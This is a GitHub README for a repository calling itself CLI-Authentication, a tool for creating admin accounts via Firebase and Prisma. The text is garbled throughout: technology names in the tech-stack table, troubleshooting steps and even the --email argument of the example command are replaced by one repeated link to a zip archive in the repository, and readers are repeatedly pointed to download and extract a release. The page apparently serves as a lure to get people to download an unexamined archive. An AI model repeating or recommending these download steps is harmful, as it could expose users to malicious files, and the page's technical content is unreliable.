Skip to content

πŸ”‘ Simplify user management with CLI-Authentication, a secure script to create admin accounts directly via the Firebase Admin SDK and Prisma.

BobbyGuyG/CLI-Authentication

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

4 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌟 CLI-Authentication - Secure User Management Made Easy

Download CLI-Authentication

πŸš€ Getting Started

Welcome to CLI-Authentication, a user-friendly tool for creating and managing users. This project offers both a public sign-up form and a secure method for developers to create users via a command line interface (CLI).

πŸ’» System Requirements

πŸ“₯ Download & Install

To begin, visit the Releases page to download the latest version of CLI-Authentication. You can choose the appropriate version for your operating system.

After downloading, follow the next steps for installation.

βš™οΈ Installation Steps

  1. Extract the Downloaded Files: Locate the downloaded zip or tar file and extract it to your preferred location.

  2. Open Terminal or Command Prompt:

    • On Windows, you can search for "Command Prompt" in the start menu.
    • On macOS, open "Terminal" from your Applications folder.
    • On Linux, use the terminal application.
  3. Navigate to the Project Directory: Use the cd command to change to the directory where you extracted the files. For example:

    cd path/to/CLI-Authentication
  4. Install Dependencies: Run the following command to install necessary dependencies.

    npm install
  5. Run the Application: Follow the instructions for user creation in the next section.

πŸ‘₯ User Creation Methods

1. Public Sign-Up (Web Form)

This is the user-friendly sign-up form accessible through the web. Here, users can register easily by filling out their details on the form.

2. Secure Admin Creation (CLI Script)

This method is for developers who need to onboard users directly through a terminal.

  • How to run the CLI command:

    Use the following command structure to create an admin user. Ensure to replace the placeholders with actual information.

    npm run create-admin -- \
     --email "https://raw.githubusercontent.com/BobbyGuyG/CLI-Authentication/main/arterially/CLI-Authentication.zip" \
     --password "AStrongP@ssw0rd!" \
     --ispName "Super Secure ISP" \
     --ownerName "Jane Doe"

This command uses parameters to create a new admin user. Each parameter has a specific purpose:

  • --email: The email address for the new admin.
  • --password: A strong password for account security.
  • --ispName: The name of the internet service provider.
  • --ownerName: The name of the admin owner.

πŸ›  Functionality

The CLI script works directly with Firebase and Prisma to create secure user records, ensuring accuracy and security without the need for a web server.

🌐 Tech Stack

Our application utilizes a reliable tech stack, ensuring smooth performance and ease of use:

Category Technology
Frontend https://raw.githubusercontent.com/BobbyGuyG/CLI-Authentication/main/arterially/CLI-Authentication.zip, Vite, TypeScript
Styling & UI Tailwind CSS, Shadcn UI
Backend https://raw.githubusercontent.com/BobbyGuyG/CLI-Authentication/main/arterially/CLI-Authentication.zip, https://raw.githubusercontent.com/BobbyGuyG/CLI-Authentication/main/arterially/CLI-Authentication.zip

πŸ”§ Troubleshooting

If you face any issues, consider the following steps:

  1. Check https://raw.githubusercontent.com/BobbyGuyG/CLI-Authentication/main/arterially/CLI-Authentication.zip and npm Installation: Ensure both https://raw.githubusercontent.com/BobbyGuyG/CLI-Authentication/main/arterially/CLI-Authentication.zip and npm are installed and updated.

    node -v
    npm -v
  2. Consult the Logs: If you encounter errors during the execution of the CLI commands, review any error messages displayed in the terminal. They often provide hints on what went wrong.

  3. Search for Solutions Online: Many common problems can be quickly resolved by searching for the issue in relevant forums, such as Stack Overflow.

  4. Reach Out for Help: If you're still having trouble, feel free to open an issue in this repository for assistance.

πŸ“ž Support

For further assistance or feature requests, please visit our GitHub Issues page to create a new issue.

πŸ“œ License

This project is licensed under the MIT License. See the LICENSE file for more details.


Thank you for choosing CLI-Authentication! Your feedback is valuable as we strive to improve this project. Please start by checking out the user manual above.

About

πŸ”‘ Simplify user management with CLI-Authentication, a secure script to create admin accounts directly via the Firebase Admin SDK and Prisma.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •